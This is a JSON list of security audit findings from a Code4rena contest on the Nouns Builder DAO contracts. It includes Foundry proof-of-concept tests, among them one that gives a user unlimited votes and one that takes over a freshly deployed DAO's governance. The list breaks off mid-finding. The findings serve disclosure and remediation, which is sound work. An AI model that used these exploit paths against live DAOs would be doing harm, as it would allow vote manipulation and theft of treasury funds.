"2022-09-nouns-builder-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/516", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-nouns-builder-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/515", "labels": ["bug", "G (Gas Optimization)", "old-submission-method"], "target": "2022-09-nouns-builder-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/512", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-nouns-builder-findings", "body": "Gas Optimizations"}, {"title": "Execute doesn't check for the expiration of a proposal", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/510", "labels": ["bug", "QA (Quality Assurance)", "sponsor disputed", "old-submission-method"], "target": "2022-09-nouns-builder-findings", "body": "Execute doesn't check for the expiration of a proposal"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/506", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-nouns-builder-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/505", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-nouns-builder-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/502", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-nouns-builder-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/496", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-nouns-builder-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/489", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-nouns-builder-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/483", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-nouns-builder-findings", "body": "QA Report"}, {"title": "Proposals can be bricked and Auctions stalled by bad settings", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/482", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed", "edited-by-warden"], "target": "2022-09-nouns-builder-findings", "body": "# Lines of code https://github.com/code-423n4/2022-09-nouns-builder/blob/main/src/governance/governor/Governor.sol#L588 # Vulnerability details ## Impact The protocol assumes founders and proposals will set sane settings. However there are some settings that if set incorrectly will block proposals from being created or succeeding and block auctions from completing. This vulnerability has a low likelihood of occurrence as the outcome is not in the interest of the community. However the possibility exists if there is some misunderstanding or miscalculation. If a bad setting is allowed the impact is high. ## Proof of Concept ### Bricking governance proposals **Governor settings.quorumThresholdBps > 10_000** If `quorumThresholdBps` is set above 10_000 then it would be impossible to get enough votes to succeed. Without being able to execute a proposal the setting itself could never be fixed. **Governor settings.proposalThresholdBps > 10_000** If `proposalThresholdBps` is set above 10_000 then it would be impossible to submit a proposal. Without being able to submit a proposal the setting itself could never be fixed. ### Stalling a governance proposal **Treasury settings.delay** A very large value for `delay` would prevent a proposal from being executed. For example 1000 years easily fits into `delay` and would result in a 1000 year wait before being able to execute. A governance proposal could fix this property for future proposals but any proposal created with the large `delay` would remain stuck. ### Stalling the auction **Auction settings.duration** The `duration` value is in seconds and any value up to type(uint40).max is permitted. That is `1099511627775` seconds which is > 48000 years. A large value like this would stop the auction from ever ending and thus stop new NFTs from being minted. A governance proposal could fix this setting but ideally a very large `duration` would be blocked. **Auction settings.timeBuffer** Similar to duration but applies to the auction endTime extention. So the auction could be extended a number of years for example. ## Tools Used Manual review. ## Recommended Mitigation Steps Implement reasonable range bounds reverting where appropriate. In particular for the above apply: - Governor settings `quorumThresholdBps` <= 10_000 - Governor settings `proposalThresholdBps` <= 10_000 - Treasury settings `delay` <= 6 months - Auction settings `duration` <= 6 months - Auction settings `timeBuffer` <= 6 months Add these checks to the `initialize()` functions and in the setter / update functions where these individual settings properties can be updated. "}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/481", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-nouns-builder-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/480", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-nouns-builder-findings", "body": "Gas Optimizations"}, {"title": "Attackers can increase voting power by incentivizing", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/479", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged", "sponsor disputed", "edited-by-warden"], "target": "2022-09-nouns-builder-findings", "body": "Attackers can increase voting power by incentivizing"}, {"title": "NFT owner can block token burning and transfer by delegating to zero address", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/478", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed", "old-submission-method"], "target": "2022-09-nouns-builder-findings", "body": "# Lines of code https://github.com/code-423n4/2022-09-nouns-builder/blob/7e9fddbbacdd7d7812e912a369cfd862ee67dc03/src/lib/token/ERC721Votes.sol#L179-L190 # Vulnerability details ERC721Votes's delegate() and delegateBySig() allow the delegation to zero address, which result in owner's votes elimination in the checkpoint. I.e. the votes are subtracted from the owner, but aren't added anywhere. _moveDelegateVotes() invoked by _delegate() treats the corresponding call as a burning, erasing the votes. The impact is that the further transfer and burning attempts for the ids of the owner will be reverted because _afterTokenTransfer() callback will try to reduce owner's votes, which are already zero, reverting the calls due to subtraction fail. As ERC721Votes is parent to Token the overall impact is governance token burning and transfer being disabled whenever the owner delegated to zero address. This can be done deliberately, i.e. any owner can disable burning and transfer of the owned ids at any moment, which can interfere with governance voting process. ## Proof of Concept User facing delegate() and delegateBySig() allow for zero address delegation: https://github.com/code-423n4/2022-09-nouns-builder/blob/7e9fddbbacdd7d7812e912a369cfd862ee67dc03/src/lib/token/ERC721Votes.sol#L131-L135 ```solidity /// @notice Delegates votes to an account /// @param _to The address delegating votes to function delegate(address _to) external { _delegate(msg.sender, _to); } ``` https://github.com/code-423n4/2022-09-nouns-builder/blob/7e9fddbbacdd7d7812e912a369cfd862ee67dc03/src/lib/token/ERC721Votes.sol#L144-L174 ```solidity function delegateBySig( address _from, address _to, uint256 _deadline, uint8 _v, bytes32 _r, bytes32 _s ) external { // Ensure the signature has not expired if (block.timestamp > _deadline) revert EXPIRED_SIGNATURE(); // Used to store the digest bytes32 digest; // Cannot realistically overflow unchecked { // Compute the hash of the domain seperator with the typed delegation data digest = keccak256( abi.encodePacked(\"\\x19\\x01\", DOMAIN_SEPARATOR(), keccak256(abi.encode(DELEGATION_TYPEHASH, _from, _to, nonces[_from]++, _deadline))) ); } // Recover the message signer address recoveredAddress = ecrecover(digest, _v, _r, _s); // Ensure the recovered signer is the voter if (recoveredAddress == address(0) || recoveredAddress != _from) revert INVALID_SIGNATURE(); // Update the delegate _delegate(_from, _to); } ``` And pass zero address to the _delegate() where it is being set: https://github.com/code-423n4/2022-09-nouns-builder/blob/7e9fddbbacdd7d7812e912a369cfd862ee67dc03/src/lib/token/ERC721Votes.sol#L179-L190 ```solidity function _delegate(address _from, address _to) internal { // Get the previous delegate address prevDelegate = delegation[_from]; // Store the new delegate delegation[_from] = _to; emit DelegateChanged(_from, prevDelegate, _to); // Transfer voting weight from the previous delegate to the new delegate _moveDelegateVotes(prevDelegate, _to, balanceOf(_from)); } ``` In this case _moveDelegateVotes() will reduce the votes from the owner, not adding it to anywhere as `_from` is the owner, while `_to` is zero address: https://github.com/code-423n4/2022-09-nouns-builder/blob/7e9fddbbacdd7d7812e912a369cfd862ee67dc03/src/lib/token/ERC721Votes.sol#L203-L220 ```solidity if (_from != _to && _amount > 0) { // If this isn't a token mint: if (_from != address(0)) { // Get the sender's number of checkpoints uint256 nCheckpoints = numCheckpoints[_from]++; // Used to store the sender's previous voting weight uint256 prevTotalVotes; // If this isn't the sender's first checkpoint: Get their previous voting weight if (nCheckpoints != 0) prevTotalVotes = checkpoints[_from][nCheckpoints - 1].votes; // Update their voting weight _writeCheckpoint(_from, nCheckpoints, prevTotalVotes, prevTotalVotes - _amount); } // If this isn't a token burn: if (_to != address(0)) { // @ audit here we add the votes to the target, but only if it's not zero address ``` The owner might know that and can use such a delegation to interfere with the system by prohibiting of transferring/burning of his ids. This happens via _afterTokenTransfer() reverting as it's becomes impossible to reduce owner's votes balance by `1`: https://github.com/code-423n4/2022-09-nouns-builder/blob/7e9fddbbacdd7d7812e912a369cfd862ee67dc03/src/lib/token/ERC721Votes.sol#L262-L271 ```solidity function _afterTokenTransfer( address _from, address _to, uint256 _tokenId ) internal override { // Transfer 1 vote from the sender to the recipient _moveDelegateVotes(_from, _to, 1); super._afterTokenTransfer(_from, _to, _tokenId); } ``` ## Recommended Mitigation Steps Consider prohibiting zero address as a delegation destination: https://github.com/code-423n4/2022-09-nouns-builder/blob/7e9fddbbacdd7d7812e912a369cfd862ee67dc03/src/lib/token/ERC721Votes.sol#L179-L190 ```solidity function _delegate(address _from, address _to) internal { + if (_to == address(0)) revert INVALID_SIGNATURE(); // Get the previous delegate address prevDelegate = delegation[_from]; // Store the new delegate delegation[_from] = _to; emit DelegateChanged(_from, prevDelegate, _to); // Transfer voting weight from the previous delegate to the new delegate _moveDelegateVotes(prevDelegate, _to, balanceOf(_from)); } ``` When `_to` isn't zero there always be an addition in _moveDelegateVotes(), so the system votes balance will be sustained. "}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/473", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-nouns-builder-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/472", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-nouns-builder-findings", "body": "QA Report"}, {"title": "Use can get unlimited votes", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/469", "labels": ["bug", "3 (High Risk)", "sponsor confirmed", "old-submission-method"], "target": "2022-09-nouns-builder-findings", "body": "# Lines of code https://github.com/code-423n4/2022-09-nouns-builder/blob/7e9fddbbacdd7d7812e912a369cfd862ee67dc03/src/lib/token/ERC721Votes.sol#L268 # Vulnerability details ## Impact `aftertokenTransfer` in ERC721Votes transfers votes between user addresses instead of the delegated addresses, so a user can cause overflow in `_moveDelegates` and get unlimited votes ## Proof of Concept https://github.com/code-423n4/2022-09-nouns-builder/blob/7e9fddbbacdd7d7812e912a369cfd862ee67dc03/src/lib/token/ERC721Votes.sol#L268 ``` function _afterTokenTransfer( address _from, address _to, uint256 _tokenId ) internal override { // Transfer 1 vote from the sender to the recipient _moveDelegateVotes(_from, _to, 1); super._afterTokenTransfer(_from, _to, _tokenId); } ``` https://github.com/code-423n4/2022-09-nouns-builder/blob/7e9fddbbacdd7d7812e912a369cfd862ee67dc03/src/lib/token/ERC721Votes.sol#L216 ``` _moveDelegateVotes(prevDelegate, _to, balanceOf(_from)); ... unchecked { ... // Update their voting weight _writeCheckpoint(_from, nCheckpoints, prevTotalVotes, prevTotalVotes - _amount); } ``` During delegation `balanceOf(from)` amount of votes transferred are to the `_to` address ``` function test_UserCanGetUnlimitedVotes() public { vm.prank(founder); auction.unpause(); vm.prank(bidder1); auction.createBid{ value: 1 ether }(2); vm.warp(10 minutes + 1 seconds); auction.settleCurrentAndCreateNewAuction(); assertEq(token.ownerOf(2), bidder1); console.log(token.getVotes(bidder1)); // 1 console.log(token.delegates(bidder1)); // 0 bidder1 vm.prank(bidder1); token.delegate(bidder2); console.log(token.getVotes(bidder1)); // 1 console.log(token.getVotes(bidder2)); // 1 vm.prank(bidder1); auction.createBid{value: 1 ether}(3); vm.warp(22 minutes); auction.settleCurrentAndCreateNewAuction(); assertEq(token.ownerOf(3), bidder1); console.log(token.balanceOf(bidder1)); // 2 console.log(token.getVotes(bidder1)); // 2 console.log(token.getVotes(bidder2)); // 1 vm.prank(bidder1); token.delegate(bidder1); console.log(token.getVotes(bidder1)); // 4 console.log(token.getVotes(bidder2)); // 6277101735386680763835789423207666416102355444464034512895 } ``` When user1 delegates to another address `balanceOf(user1)` amount of tokens are subtraced from user2's votes, this will cause underflow and not revert since the statements are unchecked ## Tools Used foundry ## Recommended Mitigation Steps Change delegate transfer in `afterTokenTransfer` to ``` _moveDelegateVotes(delegates(_from), delegates(_to), 1); ``` "}, {"title": "Changing treasury owner through `transferOwnership()` can break `Governer.sol` and `Auction.sol`", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/468", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged"], "target": "2022-09-nouns-builder-findings", "body": "Changing treasury owner through `transferOwnership()` can break `Governer.sol` and `Auction.sol`"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/466", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-nouns-builder-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/464", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-nouns-builder-findings", "body": "QA Report"}, {"title": "Minting is not possible when a property has no items", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/459", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged"], "target": "2022-09-nouns-builder-findings", "body": "Minting is not possible when a property has no items"}, {"title": "Tokens without properties can be minted and cannot be rendered", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/455", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged"], "target": "2022-09-nouns-builder-findings", "body": "Tokens without properties can be minted and cannot be rendered"}, {"title": "Auction parameters can be changed during ongoing auction", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/450", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2022-09-nouns-builder-findings", "body": "# Lines of code https://github.com/code-423n4/2022-09-nouns-builder/blob/7e9fddbbacdd7d7812e912a369cfd862ee67dc03/src/auction/Auction.sol#L307-L335 # Vulnerability details ## Impact The auction parameters can be changed anytime, even during ongoing auctions, and take effect immediately. Users may need time to react to the changes. The impacts maybe followings: - some sudden changes may cause bidder's transaction fail, such as `setReservePrice()` and `setMinimumBidIncrement()` - some changes may change users expectation about the auction, such as `setDuration()` and `setTimeBuffer()`, with different time parameters, bidders will use different strategy ## Proof of Concept src/auction/Auction.sol ```solidity function setDuration(uint256 _duration) external onlyOwner { settings.duration = SafeCast.toUint40(_duration); emit DurationUpdated(_duration); } function setReservePrice(uint256 _reservePrice) external onlyOwner { settings.reservePrice = _reservePrice; emit ReservePriceUpdated(_reservePrice); } function setTimeBuffer(uint256 _timeBuffer) external onlyOwner { settings.timeBuffer = SafeCast.toUint40(_timeBuffer); emit TimeBufferUpdated(_timeBuffer); } function setMinimumBidIncrement(uint256 _percentage) external onlyOwner { settings.minBidIncrement = SafeCast.toUint8(_percentage); emit MinBidIncrementPercentageUpdated(_percentage); }``` ## Tools Used Manual analysis. ## Recommended Mitigation Steps - do not apply changed parameters on ongoing auctions - add a timelock for the changes "}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/447", "labels": ["bug", "G (Gas Optimization)", "edited-by-warden"], "target": "2022-09-nouns-builder-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/446", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-nouns-builder-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/444", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-nouns-builder-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/438", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-nouns-builder-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/437", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-nouns-builder-findings", "body": "Gas Optimizations"}, {"title": "A proposal can pass with 0 votes in favor at early DAO stages", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/436", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2022-09-nouns-builder-findings", "body": "# Lines of code https://github.com/code-423n4/2022-09-nouns-builder/blob/main/src/governance/governor/Governor.sol#L441 # Vulnerability details It's possible to create a proposal for a DAO as soon as it's deployed and the proposal can pass even if nobody votes. This possibility of doing so is based on the following assumptions: 1. The vetoer doesn't veto the proposal 2. `proposal.quorumVotes` is 0, which happens when `token.totalSupply() * settings.quorumThresholdBps < 10_000` 3. `proposal.proposalThreshold` is 0, which happens when `token.totalSupply() * settings.proposalThresholdBps < 10_000` The amount of time necessary to create and execute a proposal of this kind is dictated by `governor.settings.votingDelay + governor.settings.votingDelay + treasury.delay()`, the lower the time the higher the risk. ## Impact A malicious actor could build an off-chain script that tracks `DAODeployed` events on the `Manager.sol` contract. Every time a new DAO is spawned the script submits a proposal. This attack is based on the fact that such at an early stage nobody might notice and the chances of this happening are made real because every new DAO can be targeted. A potential proposal created by an attacker might look like this: 1. Call `governor.updateVetoer(attacker)` 1. Call `governor.updateVotingDelay(0)` 2. Call `governor.updateVotingPeriod(0)` 3. Call `treasury.updateGracePeriod(0)` 4. Call `treasury.updateDelay(1 day)` With this setup the attacker can make a proposal and queue it immediately to then execute it after 1 day time; which gives him the time to veto any proposal that tries to interfere with the attack. At this point the attacker has sudo powers and if there's any bid he can take the funds. This is just one possible attack path, but the point is making a proposal pass can give an attacker sudo powers and nobody might notice for a while. ## Proof of Concept Here's a test I wrote that proves the attack path outlined above, you can copy it into `Gov.t.sol` and execute it with `forge test -m test_sneakProposalAttack`: ```javascript function test_sneakProposalAttack() public { address attacker = vm.addr(0x55); address[] memory targets = new address[](5); uint256[] memory values = new uint256[](5); bytes[] memory calldatas = new bytes[](5); // 1. Call `governor.updateVetoer(attacker)` targets[0] = address(governor); values[0] = 0; calldatas[0] = abi.encodeWithSignature(\"updateVetoer(address)\", attacker); // 2. Call `governor.updateVotingDelay(0)` targets[1] = address(governor); values[1] = 0; calldatas[1] = abi.encodeWithSignature(\"updateVotingDelay(uint256)\", 0); //3. Call `governor.updateVotingPeriod(0)` targets[2] = address(governor); values[2] = 0; calldatas[2] = abi.encodeWithSignature(\"updateVotingPeriod(uint256)\", 0); //3. Call `treasury.updateGracePeriod(0)` targets[3] = address(treasury); values[3] = 0; calldatas[3] = abi.encodeWithSignature(\"updateGracePeriod(uint256)\", 0); //4. Call `treasury.updateDelay(1 day)` targets[4] = address(treasury); values[4] = 0; calldatas[4] = abi.encodeWithSignature(\"updateDelay(uint256)\", 60 * 60 * 24); //Attacker creates proposal as soon as contract is deployed bytes32 proposalId = governor.propose(targets, values, calldatas, \"\"); //Wait for proposal.voteEnd vm.warp((governor.getProposal(proposalId).voteEnd)); //Queue it governor.queue(proposalId); //Wait for treasury delay vm.warp(block.timestamp + treasury.delay()); //Execute proposal governor.execute(targets, values, calldatas, keccak256(bytes(\"\"))); //Shows it's now possible for an attacker to queue a proposal immediately bytes32 proposalId2 = governor.propose(targets, values, calldatas, \"mock\"); governor.queue(proposalId2); //And executed it after one day vm.warp(block.timestamp + 60 * 60 * 24); governor.execute(targets, values, calldatas, keccak256(bytes(\"mock\"))); } ``` ## Recommended Mitigation Steps This potential attack path comes from a combination of factors, maninly: 1. A proposal can be created directly after deployment 2. The `proposal.proposal.proposalThreshold` and `proposal.quorumVotes` are set to 0 at such early stages 3. A proposal with 0 votes is allowed to pass I would say that requiring at least 1 vote for a proposal to be considered `Succeeded` is rational and should mitigate this problem because that would require the attacker to bid on auction to get 1 voting power, increasing the cost and the time necessary for the attack. At [Governor.sol#L441](https://github.com/code-423n4/2022-09-nouns-builder/blob/main/src/governance/governor/Governor.sol#L441) we have: ```javscript else if (proposal.forVotes < proposal.againstVotes || proposal.forVotes < proposal.quorumVotes) { return ProposalState.Defeated; } ``` which can be changed to: ```javscript else if (proposal.forVotes == 0 || proposal.forVotes < proposal.againstVotes || proposal.forVotes < proposal.quorumVotes) { return ProposalState.Defeated; } ``` "}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/429", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-09-nouns-builder-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/428", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-nouns-builder-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/424", "labels": ["bug", "QA (Quality Assurance)", "edited-by-warden"], "target": "2022-09-nouns-builder-findings", "body": "QA Report"}, {"title": "The quorum votes calculations don't take into account burned tokens", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/423", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed", "edited-by-warden"], "target": "2022-09-nouns-builder-findings", "body": "# Lines of code https://github.com/code-423n4/2022-09-nouns-builder/blob/main/src/governance/governor/Governor.sol#L475 https://github.com/code-423n4/2022-09-nouns-builder/blob/main/src/governance/governor/Governor.sol#L524 # Vulnerability details Because the following happens: 1. Burned tokens votes are effectively deleted in `token._moveDelegateVotes()` when called by `token.burn()` 2. When an auction gets settled without bidders the function burns the token by calling `token.burn()` 3. When `_createAuction()` is called an amount of tokens >= 1 is minted, of which 1 is kept in the auction contract 4. The functions `governor.proposalThreshold()` and `governor.quorum()` both depend on `token.totalSupply()` for their calculations. We can derive that the protocol calculates the `quorumVotes` taking into account burned tokens and tokens held in the auction contract, which don't have any actual voting power. In other words the actual `quorumThresholdBps` is equal or higher than the setted `quorumThresholdBps`. ## Impact The worse case scenario that can happen is that the quorum gets so high that a proposal cannot pass even if everybody voted and everybody voted `for`, potentially locking funds into the contract. We can define: 1. `assumedVotingPower` = `token.totalSupply()` 2. `realVotingPower` = `token.totalSupply() - amountOfTokensBurned` 3. `\u0394VotingPower` = `amountOfTokensBurned` This is the case if: ``` realVotingPower at proposal.voteEnd < quorum at proposal.timeCreated ``` which is the same as ``` realVotingPower < (assumedVotingPower * settings.quorumThresholdBps) / 10_000 ``` and rearranging in terms of `settings.quorumThresholdBps` we have: ``` settings.quorumThresholdBps > 10_000 * realVotingPower/assumedVotingPower ``` Knowing that: 1. The possible range of values for `10_000 * realVotingPower/assumedVotingPower` is from `1` to `10000`. If `realVotingPower = 0` this model doesn't make sense in the first place. 2. The possible range of values of `settings.quorumThresholdBps` is from `1` to `2^16 - 1`. The protocol allows for `settings.quorumThresholdBps` to be `0`, in which case it means that the actual quorum is `0`; a context in which this model doesn't make sense. There's another catch that restricts this boundaries, if `settings.quorumThresholdBps * token.totalSupply()` < `10_000` the output of `governance.quorum()` would be `0`. Many combinations of values in the ranges described above render this disequation true, note, however, that this describes the workings in a mathematical settings and it doesnt hold true for every case in a real setting because of roundings and approximations. We can intuitevely notice that when `realVotingPower/assumedVotingPower` is very low, which is the case of a DAO with few tokens burned, the chances of the disequation being true are slim and when it's high the chances of the disequation being true become higher. The opposite is true for `settings.quorumThresholdBps`. This might lock funds in DAOs with a lot of unsold auctions who have a low `settings.quorumThresholdBps`. At early stages this is mitigated by the fact that for every possible token burned some tokens are minted to the founders, but when the vest expires this mitigation is not in place anymore. ## Proof of concept I wrote a test that's expected to revert a `proposal.queue()` even if all possible votes available are cast in favor. The test comes with two parameters to set: `auctionsToRun` and `tokensToBidder`. The test runs `auctionsToRun` auctions, of which the first `tokensToBidder` are bidded upon and the rest are not. Then: 1. Creates a proposal 2. Cast all possible votes in favor 3. Tries to queue a proposal 4. Reverts The default parameters are set to `auctionsToRun = 130` and `tokensToBidder = 10`. Also `quorumThresholdBps = 1000`. This test results in `121 tokens burned` and `133 token minted`. It's quite an unrealistic scenario, but it can get more real if `quorumThresholdBps` is setted lower. Keep in mind that this is the case in which everybody shows up to vote and averybody votes for. ### Test code The test can be pasted inside `Gov.t.sol` and then run with: `test -m test_RevertQueueProposalWithEverybodyInFavour` ```javascript function test_RevertQueueProposalWithEverybodyInFavour() public { //Number of auctions to run uint256 auctionsToRun = 130; //Amount of tokens to bid up uint256 tokensToBidder = 10; address bidder1 = vm.addr(0xB1); vm.deal(founder, 10000 ether); vm.deal(bidder1, 10000 ether); //Start the first auction vm.prank(founder); auction.unpause(); //Simulates an `auctionsToRun` amount of auctions in which the first `tokensForBidder` tokens //are minted and then every auction ends with no bidders. uint256 amountOfBurnedTokens; for (uint256 i = 1; i < auctionsToRun + 1; ++i) { if (i < tokensToBidder) { uint256 id = token.totalSupply() - 1; vm.prank(bidder1); auction.createBid{ value: 0.15 ether }(id); } else { amountOfBurnedTokens++; } vm.warp(block.timestamp + auction.duration() + 1); auction.settleCurrentAndCreateNewAuction(); } uint256 founderVotes = token.getVotes(founder); uint256 founder2Votes = token.getVotes(founder2); uint256 bidder1Votes = token.getVotes(bidder1); uint256 auctionVotes = token.getVotes(address(auction)); uint256 realVotingPower = founderVotes + founder2Votes + bidder1Votes; uint256 assumedVotingPower = token.totalSupply(); assertEq(realVotingPower, assumedVotingPower - amountOfBurnedTokens - auctionVotes); //Create mock proposal (address[] memory targets, uint256[] memory values, bytes[] memory calldatas) = mockProposal(); vm.prank(bidder1); bytes32 proposalId = governor.propose(targets, values, calldatas, \"\"); emit log_string(\"Amount of tokens minted: \"); emit log_uint(token.totalSupply()); emit log_string(\"Amount of tokens burned:\"); emit log_uint(amountOfBurnedTokens); emit log_string(\"---------\"); emit log_string(\"The real quorumThresholdBps is: \"); uint256 realquorumThresholdBps = (governor.getProposal(proposalId).quorumVotes * 10_000) / realVotingPower; emit log_uint(realquorumThresholdBps); emit log_string(\"The assumed quorumThresholdBps is:\"); uint256 assumedquorumThresholdBps = (governor.getProposal(proposalId).quorumVotes * 10_000) / token.totalSupply(); emit log_uint(assumedquorumThresholdBps); emit log_string(\"---------\"); vm.warp(governor.getProposal(proposalId).voteStart); //Everybody cast a `for` vote vm.prank(founder); governor.castVote(proposalId, 1); vm.prank(founder2); governor.castVote(proposalId, 1); vm.prank(bidder1); governor.castVote(proposalId, 1); emit log_string(\"The amount of votes necessary for this proposal to pass is:\"); emit log_uint(governor.getProposal(proposalId).quorumVotes); emit log_string(\"The amount of for votes in the proposal:\"); emit log_uint(governor.getProposal(proposalId).forVotes); //Proposal still doesn't pass vm.warp((governor.getProposal(proposalId).voteEnd)); vm.expectRevert(abi.encodeWithSignature(\"PROPOSAL_UNSUCCESSFUL()\")); governor.queue(proposalId); } ``` ## Tools Used Forge ## Recommended Mitigation Steps Either one of this 2 options is viable: 1. Decrease `token.totalSupply()` whenever a token gets burned. This might not be expected behaviour from the point of view of external protocols. 2. Adjust the calculations in `proposal.quorum()` and `governor.proposalThreshold()` in such a way that they take into account the burned tokens and the tokens currently held by the auction contract."}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/418", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-09-nouns-builder-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/415", "labels": ["bug", "G (Gas Optimization)", "old-submission-method"], "target": "2022-09-nouns-builder-findings", "body": "Gas Optimizations"}, {"title": "`ERC721Votes`: Token owners can double voting power through self delegation", "html_url": "https://github.com/code-423n4/2022-09-nouns-builder-findings/issues/413", "labels": ["bug", "3 (High Risk)", "sponsor confirmed", "edited-by-warden"], "target": "2022-09-nouns-builder-findings", "body": "# Lines of code https://github.com/code-423n4/2022-09-nouns-builder/blob/7e9fddbbacdd7d7812e912a369cfd862ee67dc03/src/lib/token/ERC721Votes.sol#L131-L135 https://github.com/code-423n4/2022-09-nouns-builder/blob/7e9fddbbacdd7d7812e912a369cfd862ee67dc03/src/lib/token/ERC721Votes.sol#L176-L190 https://github.com/code-423n4/2022-09-nouns-builder/blob/7e9fddbbacdd7d7812e912a369cfd862ee67dc03/src/lib/token/ERC721Votes.sol#L192-L235 # Vulnerability details The owner of one or many `ERC721Votes` tokens can double their voting power once (and only once) by delegating to their own address as their first delegation. ### Scenario This exploit relies on the initial default value of the `delegation` mapping in `ERC721Votes`, which is why it will only work once per address. First, the token owner must call `delegate` or `delegateBySig`, passing their own address as the delegate: [`ERC721Votes#delegate`](https://github.com/code-423n4/2022-09-nouns-builder/blob/7e9fddbbacdd7d7812e912a369cfd862ee67dc03/src/lib/token/ERC721Votes.sol#L131-L135) ```solidity /// @notice Delegates votes to an account /// @param _to The address delegating votes to function delegate(address _to) external { _delegate(msg.sender, _to); } ``` This calls into the internal `_delegate` function, with `_from` and `_to` both set to the token owner's address: [`ERC721Votes#_delegate`](https://github.com/code-423n4/2022-09-nouns-builder/blob/7e9fddbbacdd7d7812e912a369cfd862ee67dc03/src/lib/token/ERC721Votes.sol#L176-L190) ```solidity /// @dev Updates delegate addresses /// @param _from The address delegating votes from /// @param _to The address delegating votes to function _delegate(address _from, address _to) internal { // Get the previous delegate address prevDelegate = delegation[_from]; // Store the new delegate delegation[_from] = _to; emit DelegateChanged(_from, prevDelegate, _to); // Transfer voting weight from the previous delegate to the new delegate _moveDelegateVotes(prevDelegate, _to, balanceOf(_from)); } ``` Since this is the token owner's first 